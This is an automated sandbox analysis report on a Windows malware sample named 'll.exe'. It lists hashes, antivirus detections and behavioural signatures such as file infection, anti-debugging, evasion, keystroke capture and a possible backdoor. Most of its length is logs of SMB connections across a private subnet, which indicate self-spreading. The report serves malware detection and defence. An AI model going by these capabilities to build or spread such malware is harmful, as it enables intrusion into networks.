Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ll.exe

Overview

General Information

Sample Name:ll.exe
Analysis ID:605429
MD5:f746ea39c0c5ff9d0a1f2d250170ad80
SHA1:dac28369f5a4436b2556f9b4f875e78d5c233edb
SHA256:7f6dbd9fa0cb7ba2487464c824b6d7e16ace9d4cd15e4452df4c9a9fd6bd1907
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Infects executable files (exe, dll, sys, html)
Machine Learning detection for sample
Writes many files with high entropy
Connects to many different private IPs (likely to spread or exploit)
Connects to many different private IPs via SMB (likely to spread or exploit)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Classification

Process Tree

  • System is w10x64
  • ll.exe (PID: 7164 cmdline: "C:\Users\user\Desktop\ll.exe" MD5: F746EA39C0C5FF9D0A1F2D250170AD80)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

Timestamp:04/08/22-10:01:39.199823
SID:402
Protocol:ICMP
Classtype:Misc activity

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: ll.exeVirustotal: Detection: 56%Perma Link
Source: ll.exeReversingLabs: Detection: 73%
Antivirus / Scanner detection for submitted sample
Source: ll.exeAvira: detected
Machine Learning detection for sample
Source: ll.exeJoe Sandbox ML: detected

Exploits

barindex
Connects to many different private IPs (likely to spread or exploit)
Source: global trafficTCP traffic: 192.168.2.148:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.149:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.146:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.147:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.140:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.141:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.144:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.145:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.142:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.143:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.159:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.157:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.158:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.151:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.152:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.150:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.155:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.156:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.153:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.154:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.126:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.247:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.127:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.248:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.124:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.245:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.125:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.246:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.128:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.249:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.129:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.240:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.122:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.243:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.123:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.244:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.120:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.241:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.121:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.242:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.97:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.137:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.96:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.138:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.99:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.135:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.98:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.136:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.139:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.250:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.130:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.251:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.91:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.90:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.93:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.133:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.254:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.92:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.134:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.95:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.131:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.252:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.94:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.132:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.253:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.104:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.225:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.105:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.226:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.102:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.223:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.103:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.224:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.108:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.229:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.109:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.106:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.227:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.107:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.228:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.100:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.221:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.101:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.222:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.220:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.115:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.236:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.116:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.237:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.113:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.234:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.114:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.235:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.119:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.117:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.238:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.118:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.239:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.111:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.232:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.112:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.233:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.230:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.110:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.231:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.203:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.204:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.201:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.202:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.207:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.208:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.205:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.206:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.200:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.209:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.214:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.215:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.212:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.213:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.218:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.219:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.216:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.217:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.210:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.211:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.39:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.38:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.42:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.41:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.44:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.43:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.46:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.45:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.48:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.47:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.40:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.28:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.27:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.29:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.31:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.30:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.33:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.32:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.35:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.34:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.37:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.36:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.17:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.16:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.19:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.18:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.20:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.22:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.21:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.24:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.26:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.25:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.11:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.10:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.13:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.12:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.15:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.14:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.0:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.2:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.1:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.180:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.181:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.8:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.7:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.9:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.4:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.3:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.6:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.5:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.86:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.85:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.88:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.87:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.89:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.184:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.185:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.80:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.182:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.183:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.82:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.188:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.81:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.189:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.84:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.186:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.83:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.187:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.191:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.192:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.190:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.75:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.74:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.77:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.76:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.79:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.78:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.195:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.196:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.193:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.194:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.71:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.199:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.70:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.73:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.197:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.72:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.198:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.64:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.63:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.66:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.168:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.65:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.169:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.68:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.67:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.69:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.162:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.163:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.160:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.161:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.60:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.166:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.167:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.62:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.164:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.61:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.165:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.170:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.49:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.53:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.52:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.55:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.179:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.54:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.57:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.56:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.59:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.58:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.173:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.174:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.171:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.172:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.177:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.178:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.51:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.175:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.50:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.176:445Jump to behavior
Connects to many different private IPs via SMB (likely to spread or exploit)
Source: global trafficTCP traffic: 192.168.2.148:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.149:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.146:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.147:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.140:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.141:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.144:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.145:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.142:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.143:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.159:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.157:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.158:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.151:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.152:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.150:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.155:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.156:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.153:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.154:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.126:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.247:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.127:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.248:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.124:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.245:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.125:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.246:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.128:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.249:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.129:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.240:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.122:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.243:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.123:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.244:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.120:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.241:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.121:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.242:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.97:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.137:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.96:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.138:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.99:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.135:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.98:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.136:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.139:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.250:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.130:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.251:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.91:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.90:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.93:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.133:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.254:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.92:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.134:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.95:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.131:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.252:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.94:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.132:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.253:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.104:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.225:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.105:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.226:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.102:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.223:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.103:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.224:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.108:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.229:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.109:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.106:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.227:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.107:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.228:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.100:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.221:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.101:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.222:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.220:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.115:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.236:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.116:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.237:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.113:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.234:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.114:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.235:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.119:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.117:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.238:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.118:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.239:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.111:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.232:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.112:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.233:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.230:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.110:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.231:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.203:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.204:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.201:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.202:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.207:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.208:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.205:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.206:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.200:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.209:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.214:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.215:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.212:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.213:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.218:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.219:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.216:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.217:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.210:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.211:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.39:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.38:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.42:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.41:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.44:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.43:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.46:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.45:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.48:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.47:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.40:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.28:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.27:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.29:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.31:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.30:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.33:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.32:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.35:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.34:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.37:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.36:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.17:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.16:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.19:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.18:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.20:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.22:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.21:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.24:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.26:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.25:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.11:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.10:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.13:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.12:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.15:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.14:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.0:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.2:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.1:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.180:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.181:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.8:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.7:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.9:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.4:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.3:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.6:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.5:445Jump to behavior
Source: global trafficTCP traffic: 192.168.2.86:445Jump to behavior
